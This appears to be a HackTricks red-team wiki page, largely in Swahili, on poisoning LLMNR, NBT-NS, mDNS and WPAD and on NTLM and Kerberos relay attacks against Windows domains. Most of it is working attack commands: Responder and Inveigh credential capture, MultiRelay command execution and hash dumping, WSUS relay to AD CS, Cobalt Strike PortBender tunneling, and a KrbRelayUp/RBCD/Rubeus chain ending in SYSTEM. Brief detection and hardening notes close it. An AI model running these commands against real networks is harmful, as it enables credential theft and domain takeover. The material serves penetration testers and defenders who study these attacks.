Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 15 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Angalia mpango wa usajili!
Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Network Protocols

Local Host Resolution Protocols

LLMNR, NBT-NS, and mDNS:
Microsoft na mifumo mingine ya uendeshaji hutumia LLMNR na NBT-NS kwa utambuzi wa majina ya ndani wakati DNS inashindwa. Kwa namna sawa, mifumo ya Apple na Linux hutumia mDNS.
Protokoli hizi zinaweza kuingiliwa na kufanyiwa spoofing kutokana na asili yao isiyo na uthibitishaji na ya broadcast kupitia UDP.
Responder inaweza kutumika kuiga huduma kwa kutuma majibu bandia kwa mashine zinazofanya maswali kwa protokoli hizi.
Further information on service impersonation using Responder can be found here.

Web Proxy Auto-Discovery Protocol (WPAD)

WPAD inaruhusu visanifu vya wavuti kugundua mipangilio ya proxy moja kwa moja.
Ugunduzi unafanywa kupitia DHCP, DNS, au kwa kurudia kwa LLMNR na NBT-NS ikiwa DNS inashindwa.
Responder inaweza kuendesha mashambulizi ya WPAD kiotomatiki, ikielekeza wateja kwa servers za WPAD zenye madhumuni mabaya.

Responder for Protocol Poisoning

Responder ni chombo kinachotumika kuchoma sumu (poisoning) maswali ya LLMNR, NBT-NS, na mDNS, kikijibu kwa uchaguo kulingana na aina ya maswali, hasa kulenga huduma za SMB.
Imetanguliwa kwenye Kali Linux, na inaweza kusanidiwa kwenye /etc/responder/Responder.conf.
Responder inaonyesha hashes zilizokamatwa kwenye skrini na kuziandika kwenye saraka /usr/share/responder/logs.
Inasaidia IPv4 na IPv6.
Toleo la Responder la Windows linapatikana here.

Running Responder

Kuendesha Responder kwa mipangilio ya kawaida: responder -I <Interface>
Kwa uchunguzi mkali zaidi (unaoweza kuwa na madhara): responder -I <Interface> -P -r -v
Mbinu za kukamata changamoto/marudio ya NTLMv1 ili kurahisisha kuvunja: responder -I <Interface> --lm --disable-ess
Kuiga WPAD kunaweza kuwashwa kwa: responder -I <Interface> --wpad
Maombi ya NetBIOS yanaweza kutatuliwa kwenda IP ya mshambulizi, na proxy ya uthibitishaji inaweza kusanidiwa: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

Kuiga majibu ya DHCP kunaweza kuchoma sumu taarifa za routing za mwathiriwa kwa kudumu, ikitoa mbadala wa siri zaidi kuliko ARP poisoning.
Inahitaji ujuzi sahihi wa usanidi wa mtandao wa lengo.
Kuendesha shambulio: ./Responder.py -I eth0 -Pdv
Njia hii inaweza kukamata kwa ufanisi hashes za NTLMv1/2, lakini inahitaji uangalifu wa hali ya juu ili kuepuka kuingiliwa kwa mtandao.

Capturing Credentials with Responder

Responder itaiga huduma kwa kutumia protokoli zilizotajwa hapo juu, ikikamata cheti za utambulisho (kwa kawaida NTLMv2 Challenge/Response) wakati mtumiaji anapojaribu kuthibitisha dhidi ya huduma zilizoigizwa (spoofed).
Jaribio linaweza kufanywa kushusha kiwango hadi NetNTLMv1 au kuzima ESS ili kurahisisha kuvunja cheti.

Ni muhimu kutambua kwamba kutumia mbinu hizi kunapaswa kufanyika kisheria na kwa maadili, ikiwa na idhini sahihi na kuepuka kuvuruga au kupata upatikanaji usioidhinishwa.

Inveigh ni chombo kwa penetration testers na red teamers, kilichoundaliwa kwa mifumo ya Windows. Inatoa uwezo unaofanana na Responder, ukifanya spoofing na mashambulizi ya man-in-the-middle. Chombo kimeibuka kutoka script ya PowerShell hadi binary ya C#, na Inveigh na InveighZero ni matoleo makuu. Vigezo na maelekezo ya kina yanapatikana kwenye wiki.

Inveigh can be operated through PowerShell:

bash

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Au kutekelezwa kama C# binary:

bash

Inveigh.exe

NTLM Relay Attack

Shambulio hili linatumia vikao vya uthibitishaji vya SMB kufikia mashine ya lengo, na kutoa system shell ikiwa limefanikiwa. Vigezo muhimu ni pamoja na:

Mtumiaji anayethibitisha lazima awe na ufikiaji wa Local Admin kwenye mashine iliyorelezwa.
SMB signing inapaswa kuzimwa.

445 Port Forwarding and Tunneling

Katika matukio ambapo kuingia moja kwa moja kwenye mtandao hawezekani, trafiki kwenye port 445 inahitaji kupitishwa na kutumishwa kupitia tunnel. Zana kama PortBender husaidia kuelekeza tena trafiki ya port 445 kwenda port nyingine, jambo muhimu pale local admin access inapatikana kwa ajili ya driver loading.

PortBender setup and operation in Cobalt Strike:

bash

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Zana Nyingine kwa NTLM Relay Attack

Metasploit: Sanidi kwa proxies, pamoja na maelezo ya mwenyeji wa ndani na wa mbali.
smbrelayx: Ni script ya Python kwa kurelay sessions za SMB na kutekeleza amri au kuweka backdoors.
MultiRelay: Zana kutoka kwenye suite ya Responder kwa kurelay watumiaji maalum au watumiaji wote, kutekeleza amri, au kutoa hashes.

Kila zana inaweza kusanidiwa kufanya kazi kupitia SOCKS proxy ikiwa inahitajika, ikiruhusu mashambulizi hata kwa upatikanaji wa mtandao kwa njia isiyo ya moja kwa moja.

Uendeshaji wa MultiRelay

MultiRelay inaendeshwa kutoka kwa saraka /usr/share/responder/tools, ikiwalenga IPs au watumiaji maalum.

bash

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Zana hizi na mbinu ni seti kamili kwa kufanya NTLM Relay attacks katika mazingira mbalimbali ya mtandao.

Kutumia vibaya WSUS HTTP (8530) kwa NTLM Relay to LDAP/SMB/AD CS (ESC8)

Wateja wa WSUS huthibitisha kwa seva yao ya masasisho kwa kutumia NTLM juu ya HTTP (8530) au HTTPS (8531). Wakati HTTP imewezeshwa, kuingia kwa wateja kwa vipindi kunaweza kulazimishwa au kuingiliwa kwenye sehemu ya ndani na kupelekwa kwa ntlmrelayx kwenda LDAP/LDAPS/SMB au AD CS HTTP endpoints (ESC8) bila kuvunja hashes yoyote. Hii inaingia ndani ya trafiki ya masasisho ya kawaida na mara nyingi huzaa uthibitisho wa akaunti za mashine (HOST$).

What to look for

Usanidi wa GPO/registry chini ya HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate na ...\WindowsUpdate\AU:
WUServer (e.g., http://wsus.domain.local:8530)
WUStatusServer (URL ya kuripoti)
UseWUServer (1 = WSUS; 0 = Microsoft Update)
DetectionFrequencyEnabled and DetectionFrequency (saa)
WSUS SOAP endpoints zinazotumiwa na wateja juu ya HTTP:
/ClientWebService/client.asmx (approvals)
/ReportingWebService/reportingwebservice.asmx (status)
Default ports: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

Unauthenticated
Skana kwa listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL
Sniff HTTP WSUS traffic via L2 MITM na andika wateja/endpoint zinazofanya kazi kwa wsusniff.py (HTTP tu isipokuwa ukifanikiwa kufanya wateja waamini TLS cert yako).
Authenticated
Parse SYSVOL GPOs kwa funguo za WSUS kwa MANSPIDER + regpol (wsuspider.sh wrapper inatoa muhtasari wa WUServer/WUStatusServer/UseWUServer).
Query endpoints kwa wingi kutoka hosts (NetExec) au kwa localhost: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

Position for MITM (same L2) ili mteja atoe resolve WSUS server kwa yako (ARP/DNS poisoning, Bettercap, mitm6, n.k.). Mfano kwa arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>
Redirect port 8530 kwa relay listener yako (hiari, ni ya kufaa): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers
Anzisha ntlmrelayx na HTTP listener (inahitaji Impacket support kwa HTTP listener; ona PRs hapa chini): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

Other common targets:

Relay to SMB (if signing off) for exec/dump: -t smb://
Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:

AD CS Domain Escalation

Chochea client check-in au subiri ratiba. Kutoka kwa mteja: wuauclt.exe /detectnow au tumia Windows Update UI (Check for updates).
Tumia authenticated SOCKS sessions (ikiwa -socks) au matokeo ya relay moja kwa moja kwa post-exploitation (LDAP changes, SMB ops, au AD CS certificate issuance kwa uthibitisho baadaye).

HTTPS constraint (8531)

Passive interception ya WSUS juu ya HTTPS haifanyi kazi isipokuwa wateja waanze kuamini certificate yako. Bila cert iliyoaminika au njia nyingine ya kuvunja TLS, NTLM handshake haiwezi kuchukuliwa/kurudishwa kutoka kwa trafiki ya WSUS HTTPS.

Notes

WSUS ilitangazwa kuwa deprecated lakini bado imewekwa kwa wingi; HTTP (8530) bado ni ya kawaida katika mazingira mengi.
Vifaa vinavyosaidia: wsusniff.py (angalia HTTP WSUS check-ins), wsuspider.sh (orodhesha WUServer/WUStatusServer kutoka GPOs), NetExec reg-query kwa wingi.
Impacket ilirejesha HTTP listener support kwa ntlmrelayx katika PR #2034 (iliongezwa awali katika PR #913).

Lazimisha NTLM Logins

Kwenye Windows unaweza uwe na uwezo wa kulazimisha baadhi ya akaunti zenye vigezo vya juu kuthibitisha kwa mashine yoyote. Soma ukurasa ufuatao ili ujifunze jinsi:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack inachukua tiketi ya AP-REQ kutoka kwa huduma moja na kuitumia tena dhidi ya huduma ya pili inayoshiriki hiliyo funguo ya akaunti ya kompyuta (kwa sababu SPNs zote ziko kwenye akaunti moja ya mashine yenye $). Hii inafanya kazi ingawa service classes za SPNs zinatofautiana (mfano CIFS/ → LDAP/) kwa sababu funguo inayofungua tiketi ni NT hash ya mashine, si mnyororo wa SPN yenyewe na mnyororo wa SPN si sehemu ya saini.

Tofauti na NTLM relay, hop inafungwa kwa host ileile lakini, kama unalenga protocol inayokuja na uwezo wa kuandika kwa LDAP, unaweza kuunganisha katika Resource-Based Constrained Delegation (RBCD) au AD CS enrollment na kupiga NT AUTHORITY\SYSTEM kwa shambulio moja.

For detailed info about this attack check:

Token	Purpose	Relay relevance
TGT / AS-REQ ↔ REP	Inathibitisha mtumiaji kwa KDC	haiguzwi
Service ticket / TGS-REQ ↔ REP	Imefungwa kwa SPN moja; imewaamshwa na key ya mmiliki wa SPN	inaweza kubadilishwa ikiwa SPNs zinashiriki akaunti
AP-REQ	Mteja anatumia `TGS` kwa huduma	kile tunachochukua & kurudia

Tiketi zimefichwa kwa kutumia password-derived key ya akaunti inayomiliki SPN.
Authenticator ndani ya AP-REQ ina timestamp ya dakika 5; replay ndani ya dirisha hilo ni halali hadi cache ya huduma iongee duplicate.
Windows mara chache hukagua ikiwa mnyororo wa SPN uliopo kwenye tiketi unalingana na huduma uliyoikagua, hivyo tiketi ya CIFS/HOST kwa kawaida inaweza kufunguliwa vizuri kwenye LDAP/HOST.

1. Mambo yanayopaswa kuwa kweli ili ku-relay Kerberos

Shared key: SPN chanzo na lengwa vinamilikiwa na akaunti moja ya kompyuta (default kwenye Windows servers).
No channel protection: Kusaini kwa SMB/LDAP kushufuliwa kuwa off na EPA off kwa HTTP/LDAPS.
Unaweza kuingilia au kulazimisha uthibitisho: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, n.k.
Ticket haijatumiwa tayari: lazima ushinde mbio kabla ya packet halisi kufika au uiweke block kabisa; vinginevyo cache ya replay ya seva italeta Event 4649.
Lazima uweze kwa namna fulani kufanya MitM katika mawasiliano — labda kwa kuwa sehemu ya group ya DNSAmins ili kubadilisha DNS ya domain au kwa uwezo wa kubadilisha HOST file ya mshambuliaji.

Kerberos Relay Steps

3.1 Recon the host

powershell

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

3.2 Anzisha relay listener

KrbRelayUp

powershell

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp inaweka KrbRelay → LDAP → RBCD → Rubeus → SCM bypass pamoja katika binary moja.

3.3 Lazimisha Kerberos auth

powershell

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce inafanya DC itume tiketi ya Kerberos CIFS/DC01 kwetu.

3.4 Kupitisha AP-REQ

KrbRelay hutenganisha GSS blob kutoka kwa SMB, na kuiweka upya kama LDAP bind, kisha kuipeleka kwa ldap://DC01—uthibitishaji unafanikiwa kwa sababu kifunguo kilekile kinaifungua.

3.5 Tumia vibaya LDAP ➜ RBCD ➜ SYSTEM

powershell

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Sasa unamiliki NT AUTHORITY\SYSTEM.

Njia zaidi za kujua

Vector	Triki	Kwa nini inafaa
AuthIP / IPSec	Server bandia inatuma GSS-ID payload na SPN yoyote; client huunda AP-REQ moja kwa moja kwako	Inafanya kazi hata kati ya subnets; kredensiali za mashine kwa chaguo-msingi
DCOM / MSRPC	OXID resolver hasidi inalazimisha client kuthibitisha kwa SPN na port yoyote	Priv-esc ya ndani kabisa; inazunguka firewall
AD CS Web Enroll	Relaa tiketi ya mashine kwa `HTTP/CA` na upate cert, kisha PKINIT kutengeneza TGTs	Inapita kinga za LDAP signing
Shadow Credentials	Andika `msDS-KeyCredentialLink`, kisha PKINIT kwa jozi ya funguo iliyotengenezwa bandia	Hakuna haja ya kuunda account ya kompyuta

Kutatua matatizo

Hitilafu	Maana	Suluhisho
`KRB_AP_ERR_MODIFIED`	Ufunguo wa tiketi ≠ ufunguo wa lengo	Host au SPN si sahihi
`KRB_AP_ERR_SKEW`	Saa imepotoshwa zaidi ya dakika 5	Sawaisha saa au tumia `w32tm`
LDAP bind fails	Signing enforced	Tumia njia ya AD CS au zima signing
Event 4649 spam	Huduma iliona Authenticator ya nakala	Zuia au piga mbio dhidi ya kifurushi asilia

Utambuzi

Kuongezeka kwa Event 4769 kwa CIFS/, HTTP/, LDAP/ kutoka chanzo kimoja ndani ya sekunde.
Event 4649 kwenye huduma inaonyesha replay imetambuliwa.
Ingia Kerberos kutoka 127.0.0.1 (relay kwa SCM ya ndani) ni shaka sana—tengeneza ramani kwa kutumia Sigma rule katika nyaraka za KrbRelayUp.
Tazama mabadiliko ya sifa msDS-AllowedToActOnBehalfOfOtherIdentity au msDS-KeyCredentialLink.

Kuimarisha usalama

Lazimisha LDAP & SMB signing + EPA kwenye kila seva.
Gawanya SPNs ili HTTP isiwe kwenye akaunti ile ile na CIFS/LDAP.
Fanyiza patch coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
Weka ms-DS-MachineAccountQuota = 0 kuzuia kompyuta ovyo kujiunga.
Weka tahadhari kwa Event 4649 na ingizo za Kerberos za loopback zisizotarajiwa.

References

tip

Support HackTricks

Angalia mpango wa usajili!
Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.